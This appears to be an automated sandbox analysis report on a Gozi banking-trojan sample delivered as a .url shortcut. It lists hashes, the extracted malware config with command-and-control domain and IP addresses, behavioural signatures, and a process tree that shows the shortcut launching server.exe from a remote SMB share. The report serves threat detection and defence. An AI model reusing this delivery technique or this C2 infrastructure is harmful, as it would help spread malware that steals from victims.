Analysis
- max time kernel
144s - max time network
147s - platform
windows10-2004_x64 - resource
win10v2004-20230221-en - resource tags
arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system - submitted
14/03/2023, 08:40
Static task
static1
Behavioral task
behavioral1
Sample
azienda/azienda.txt.url
Resource
win7-20230220-en
1 signatures
150 seconds
General
- Target azienda/azienda.txt.url
- Size 195B
- Sample230314-kkwldaed64
- SHA256 67f14cb9d372a7a295a96a82f2eab679b7373f3613df6b8dcf9434482047caa1
- MD5 cc689d7d4fa6905ebc5958630848fa00
- SHA1 3d0ca3eeb7a45d2367b0693188ba99cf68f6a520
- SHA512 974c9c969029636eb6db168cc65ddaed096b2695815107f8f0c14da0ab419c7ac25c76a8f16eeaad03102efcd918991f11e7a9685a1fb94a851280349862efdd
- MD5 SHA1 SHA512
Malware Config
Extracted
Family
-
gozi
Botnet
-
7713
C2
-
checklist.skype.com
-
62.173.142.51
-
94.103.183.153
-
193.233.175.111
-
109.248.11.145
-
31.41.44.106
-
191.96.251.201
Attributes
-
base_path
/drew/
-
build
250255
-
exe_type
loader
-
extension
.jlk
-
server_id
50
rsa_pubkey.plain
aes.plain
Extracted
Family
-
gozi
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation rundll32.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1292 wrote to memory of 2156 1292 rundll32.exe 87 PID 1292 wrote to memory of 2156 1292 rundll32.exe 87 PID 1292 wrote to memory of 2156 1292 rundll32.exe 87
Processes
-
C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\azienda\azienda.txt.url1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1292 -
\??\UNC\109.248.11.162\Agenzia\server.exe"\\109.248.11.162\Agenzia\server.exe"2⤵PID:2156
-